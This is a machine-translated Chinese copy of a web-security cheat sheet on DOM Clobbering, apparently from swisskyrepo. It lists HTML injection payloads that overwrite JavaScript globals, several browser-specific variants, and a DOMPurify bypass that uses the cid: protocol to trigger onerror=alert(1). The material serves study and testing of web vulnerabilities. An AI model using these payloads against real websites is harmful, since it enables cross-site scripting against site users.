DOMClobbering


DOM Clobbering

DOM Clobbering 是一种技术,通过使用特定的 ID 或名称命名 HTML 元素,可以覆盖或“破坏”全局变量。这可能导致脚本出现意外行为,并可能引发安全漏洞。

概要

工具

方法论

要进行攻击,页面中必须存在某种形式的 HTML injection。

  • 破坏 x.y.value

    // Payload <form id=x><output id=y>I've been clobbered</output> // Sink <script>alert(x.y.value);</script> ​
  • 使用 ID 和 name 属性共同破坏 x.y,形成一个 DOM 集合

    // Payload <a id=x><a id=x name=y href="Clobbered"> // Sink <script>alert(x.y)</script> ​
  • 破坏 x.y.z - 深度为 3 层

    // Payload <form id=x name=y><input id=z></form> <form id=x></form> // Sink <script>alert(x.y.z)</script> ​
  • 破坏 a.b.c.d - 深度超过 3 层

    // Payload <iframe name=a srcdoc=" <iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe> <style>@import '//portswigger.net';</style> // Sink <script>alert(a.b.c.d)</script> ​
  • 破坏 forEach(仅限 Chrome)

    // Payload <form id=x> <input id=y name=z> <input id=y> </form> // Sink <script>x.y.forEach(element=>alert(element))</script> ​
  • 破坏 document.getElementById() using <html> or <body> tag with the same id 属性

    // Payloads <html id="cdnDomain">clobbered</html> <svg><body id=cdnDomain>clobbered</body></svg> // Sink <script> alert(document.getElementById('cdnDomain').innerText);//clobbbered </script> ​
  • 破坏 x.username

    // Payload <a id=x href="ftp:Clobbered-username:Clobbered-Password@a"> // Sink <script> alert(x.username)//Clobbered-username alert(x.password)//Clobbered-password </script> ​
  • 破坏(仅限 Firefox)

    // Payload <base href=a:abc><a id=x href="Firefox<>"> // Sink <script> alert(x)//Firefox<> </script> ​
  • 破坏(仅限 Chrome)

    // Payload <base href="a://Clobbered<>"><a id=x name=x><a id=x name=xyz href=123> // Sink <script> alert(x.xyz)//a://Clobbered<> </script> ​

技巧

  • DomPurify 允许协议 cid:, which doesn't encode double quote ("): <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">

实验环境

参考文献

免责声明:
本文件由基于人工智能的机器翻译服务翻译而成。尽管我们力求翻译准确,但请注意,自动翻译可能包含错误或不准确之处。以原始语言版本为准,其为具有法律效力的正式文件。对于关键信息,建议采用专业人工翻译。对于因使用本翻译而产生的任何误解或误读,我们概不负责。

作者与出处
原作者:swisskyrepo
来源:swisskyrepo
许可证:MIT
整理人: 灏天文库整理
由灏天文库结构化整理,提供目录导航、全文检索与在线阅读,便于系统化学习
发布者: 作者: swisskyrepo 转发
评论区 (0)
U